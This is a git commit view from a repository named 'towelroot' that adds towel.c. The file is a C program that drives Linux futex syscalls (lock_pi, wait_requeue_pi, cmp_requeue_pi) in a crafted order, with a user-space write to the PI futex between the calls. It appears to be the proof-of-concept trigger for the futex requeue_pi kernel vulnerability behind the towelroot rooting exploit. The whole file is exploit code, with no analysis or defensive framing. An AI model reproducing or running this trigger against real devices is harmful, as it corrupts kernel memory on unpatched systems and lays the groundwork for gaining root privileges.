diff options
author | zzhou007 <zzhou007@ucr.edu> | 2016-11-08 12:18:14 -0800 |
---|---|---|
committer | zzhou007 <zzhou007@ucr.edu> | 2016-11-08 12:18:14 -0800 |
commit | 483955d7bbe65057e44e286439642e329ff3cd39 (patch) | |
tree | e9fead41f3d59e750ab8d57c356222573b8370c1 | |
parent | dcf4ebe433c2c220c5c4b8aa5edf38f6d9a3b8f6 (diff) | |
download | towelroot-483955d7bbe65057e44e286439642e329ff3cd39.tar.gz towelroot-483955d7bbe65057e44e286439642e329ff3cd39.tar.bz2 towelroot-483955d7bbe65057e44e286439642e329ff3cd39.zip |
set format
-rw-r--r-- | towel.c | 102 |
1 files changed, 102 insertions, 0 deletions
@@ -0,0 +1,102 @@ +#include <stdio.h> +#include <unistd.h> +#include <pthread.h> +#include <stdlib.h> +#include <linux/futex.h> +#include <sys/syscall.h> + +#define USERLOCK_FREE 0 +#define USERLOCK_OCCUPIED 1 +#define FUTEX_WAIT_REQUEUE_PI 11 +#define FUTEX_CMP_REQUEUE_PI 12 + +inline void userlock_wait(volatile const int *userlock) { + while (USERLOCK_OCCUPIED == *userlock) { + usleep(10); + } +} + +inline void userlock_lock(volatile int *userlock) { + *userlock = USERLOCK_OCCUPIED; +} + +inline void userlock_release(volatile int *userlock) { + *userlock = USERLOCK_FREE; +} + +int get_voluntary_ctxt_switches(pid_t tid) { + FILE *fp; + char proc_path[256]; + char buf[0x1000]; + char *ptr = buf; + int count = -1; + snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%d/status", tid); + fp = fopen(proc_path, "rb"); + if (fp != NULL) { + fread(buf, sizeof(unsigned char), sizeof(buf), fp); + ptr = strstr(buf, "voluntary_ctxt_switches:"); + ptr += strlen("voluntary_ctxt_switches:"); + count = atoi(ptr); + fclose(fp); + } + return count; +} + +void wait_for_thread_to_wait_in_kernel(pthread_t tid, int context_switch_count) { + while (get_voluntary_ctxt_switches(tid) <= context_switch_count) { + usleep(10); + } +} + +inline int futex_lock_pi(int *uaddr) { + return syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0); +} + +inline int futex_wait_requeue_pi(int *uaddr1, int *uaddr2) { + return syscall(__NR_futex, uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, NULL, uaddr2, 0); +} + +inline int futex_requeue_pi(int *uaddr1, int *uaddr2, int cmpval) { + return syscall(__NR_futex, uaddr1, FUTEX_CMP_REQUEUE_PI, 1, NULL, uaddr2, cmpval); +} + +int A = 0, B = 0; +volatile int invoke_futex_wait_requeue_pi = 0; +volatile pid_t thread_tid = -1; + +void *thread(void *arg) { + thread_tid = gettid(); + printf("[2]\n"); + userlock_wait(&invoke_futex_wait_requeue_pi); + futex_wait_requeue_pi(&A, &B); + printf("Someone woke me up\n"); + while (1) { + sleep(1); + } +} + +int main(int argc, char *argv[]) { + pthread_t t; + int context_switch_count = 0; + printf("[1]\n"); + futex_lock_pi(&B); + userlock_lock(&invoke_futex_wait_requeue_pi); + pthread_create(&t, NULL, thread, NULL); + /* Wait for the thread to be in a system call */ + while (thread_tid < 0) { + usleep(10); + } + context_switch_count = get_voluntary_ctxt_switches(thread_tid); + userlock_release(&invoke_futex_wait_requeue_pi); + wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count); + printf("[3]\n"); + futex_requeue_pi(&A, &B, A); + printf("[4]\n"); + B = 0; + printf("[5]\n"); + futex_requeue_pi(&B, &B, B); + while (1) { + sleep(1); + } + return 0; +} |